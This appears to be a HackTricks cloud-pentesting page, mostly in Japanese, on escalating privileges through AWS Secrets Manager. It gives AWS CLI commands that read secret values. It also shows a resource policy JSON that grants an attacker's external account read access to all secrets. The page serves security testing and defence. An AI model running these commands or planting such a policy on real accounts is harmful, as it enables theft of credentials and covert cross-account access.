# AWS - Secrets Manager Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Secrets Manager

secrets manager に関する詳細は以下を参照してください:

{{#ref}}
../../aws-services/aws-secrets-manager-enum.md
{{#endref}}

### `secretsmanager:GetSecretValue`

この権限を持つ攻撃者は、AWS **Secretsmanager** の**シークレット内に保存された値**を取得できます。
```bash
aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
```
**Potential Impact:** AWS secrets manager service 内の高度に機密なデータへのアクセス。

> [!WARNING]
> Note that even with the `secretsmanager:BatchGetSecretValue` permission an attacker would also need `secretsmanager:GetSecretValue` to retrieve the sensitive secrets.

### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)

前述の権限があれば、他のプリンシパル／アカウント（外部を含む）に対し**シークレット**へのアクセスを付与することが可能です。KMSキーで暗号化された**シークレットを読み取る**には、ユーザーがKMSキーへの**アクセス権**も持っている必要がある点に注意してください（詳細は [KMS Enum page](../../aws-services/aws-kms-enum.md)）。
```bash
aws secretsmanager list-secrets
aws secretsmanager get-resource-policy --secret-id <secret_name>
aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json
```
policy.json:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": "secretsmanager:GetSecretValue",
"Resource": "*"
}
]
}
```
{{#include ../../../../banners/hacktricks-training.md}}
